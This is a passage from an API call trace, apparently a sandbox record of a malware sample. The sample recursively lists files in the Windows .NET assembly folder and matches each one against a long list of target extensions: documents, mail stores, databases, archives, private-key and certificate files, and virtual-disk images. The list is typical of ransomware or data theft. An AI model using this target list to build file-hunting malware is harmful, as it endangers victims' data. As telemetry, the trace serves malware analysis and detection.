(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.ofx") returned 0 [0099.566] lstrlenA (lpString="*.ofx") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qif") returned 0 [0099.566] lstrlenA (lpString="*.qif") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mye") returned 0 [0099.566] lstrlenA (lpString="*.mye") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mbox") returned 0 [0099.566] lstrlenA (lpString="*.mbox") returned 6 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.eml") returned 0 [0099.567] lstrlenA (lpString="*.eml") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.pst") returned 0 [0099.567] lstrlenA (lpString="*.pst") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.ost") returned 0 [0099.567] lstrlenA (lpString="*.ost") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.idx") returned 0 [0099.567] lstrlenA (lpString="*.idx") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.dbx") returned 0 [0099.567] lstrlenA (lpString="*.dbx") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.sql") returned 0 [0099.567] lstrlenA (lpString="*.sql") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mdb") returned 0 [0099.567] lstrlenA (lpString="*.mdb") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.fdb") returned 0 [0099.567] lstrlenA (lpString="*.fdb") returned 5 [0099.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.wab") returned 0 [0099.567] lstrlenA (lpString="*.wab") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.dat") returned 0 [0099.568] lstrlenA (lpString="*.dat") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.txt") returned 0 [0099.568] lstrlenA (lpString="*.txt") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.jpeg") returned 0 [0099.568] lstrlenA (lpString="*.jpeg") returned 6 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.jpg") returned 0 [0099.568] lstrlenA (lpString="*.jpg") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.png") returned 0 [0099.568] lstrlenA (lpString="*.png") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.php") returned 0 [0099.568] lstrlenA (lpString="*.php") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.cs") returned 0 [0099.568] lstrlenA (lpString="*.cs") returned 4 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.cpp") returned 0 [0099.568] lstrlenA (lpString="*.cpp") returned 5 [0099.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.rar") returned 0 [0099.568] lstrlenA (lpString="*.rar") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.zip") returned 0 [0099.569] lstrlenA (lpString="*.zip") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.html") returned 0 [0099.569] lstrlenA (lpString="*.html") returned 6 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.htm") returned 0 [0099.569] lstrlenA (lpString="*.htm") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.xlsx") returned 0 [0099.569] lstrlenA (lpString="*.xlsx") returned 6 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.xls") returned 0 [0099.569] lstrlenA (lpString="*.xls") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mp4") returned 0 [0099.569] lstrlenA (lpString="*.mp4") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.ppt") returned 0 [0099.569] lstrlenA (lpString="*.ppt") returned 5 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.pptx") returned 0 [0099.569] lstrlenA (lpString="*.pptx") returned 6 [0099.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.doc") returned 0 [0099.569] lstrlenA (lpString="*.doc") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.dot") returned 0 [0099.570] lstrlenA (lpString="*.dot") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.docx") returned 0 [0099.570] lstrlenA (lpString="*.docx") returned 6 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.7z") returned 0 [0099.570] lstrlenA (lpString="*.7z") returned 4 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.tar") returned 0 [0099.570] lstrlenA (lpString="*.tar") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.bz2") returned 0 [0099.570] lstrlenA (lpString="*.bz2") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.gz") returned 0 [0099.570] lstrlenA (lpString="*.gz") returned 4 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mkv") returned 0 [0099.570] lstrlenA (lpString="*.mkv") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.eml") returned 0 [0099.570] lstrlenA (lpString="*.eml") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.msg") returned 0 [0099.570] lstrlenA (lpString="*.msg") returned 5 [0099.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.edb") returned 0 [0099.571] lstrlenA (lpString="*.edb") returned 5 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.accdb") returned 0 [0099.571] lstrlenA (lpString="*.accdb") returned 7 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.odb") returned 0 [0099.571] lstrlenA (lpString="*.odb") returned 5 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.java") returned 0 [0099.571] lstrlenA (lpString="*.java") returned 6 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.asm") returned 0 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.pfx") returned 0 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.pem") returned 0 [0099.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.p12") returned 0 [0099.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.gpg") returned 0 [0099.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.vsd") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.odg") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.raw") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.nef") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.svg") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.psd") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.vmx") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.vmdk") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.vdi") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.lay6") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mpeg") returned 0 [0099.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.djvu") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.tiff") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.backup") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.pdf") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.cert") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.docm") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.xlsm") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.dwg") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.nd") returned 0 [0099.574] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.tlg") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.lgb") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mov") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.xdw") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.ods") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.wav") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.mp3") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.aiff") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.flac") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.m4a") returned 0 [0099.575] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.csv") returned 0 [0099.575] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb9ae372, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb9ae372, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4209fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.Vb.CodeDOMProcessor.dll", cAlternateFileName="")) returned 0 [0099.576] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.576] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0099.576] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.576] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput", cAlternateFileName="MICROS~1.GET")) returned 1 [0099.576] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput") returned -1 [0099.576] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput") returned -1 [0099.576] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.576] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput" [0099.576] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.577] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.577] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.577] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.577] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.577] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 